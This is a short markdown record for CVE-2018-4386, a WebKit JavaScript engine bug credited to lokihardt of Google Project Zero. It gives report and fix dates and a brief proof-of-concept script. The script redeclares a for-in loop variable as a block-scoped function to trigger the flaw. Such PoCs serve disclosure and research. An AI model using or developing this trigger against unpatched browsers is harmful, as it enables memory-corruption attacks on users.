CVE-2018-4386.md

CVE-2018-4386

• Report: Sep 2018
• Fix: Nov 2018
• Credit: lokihardt, Google Project Zero

PoC

function trigger() {
    let o = {a: 1};
    for (var k in o) {
        {
            k = 0x1234;

            function k() {

            }
        }

        o[k];
    }
}

trigger();

Reference

• Apple
• WebKit
• Google Project Zero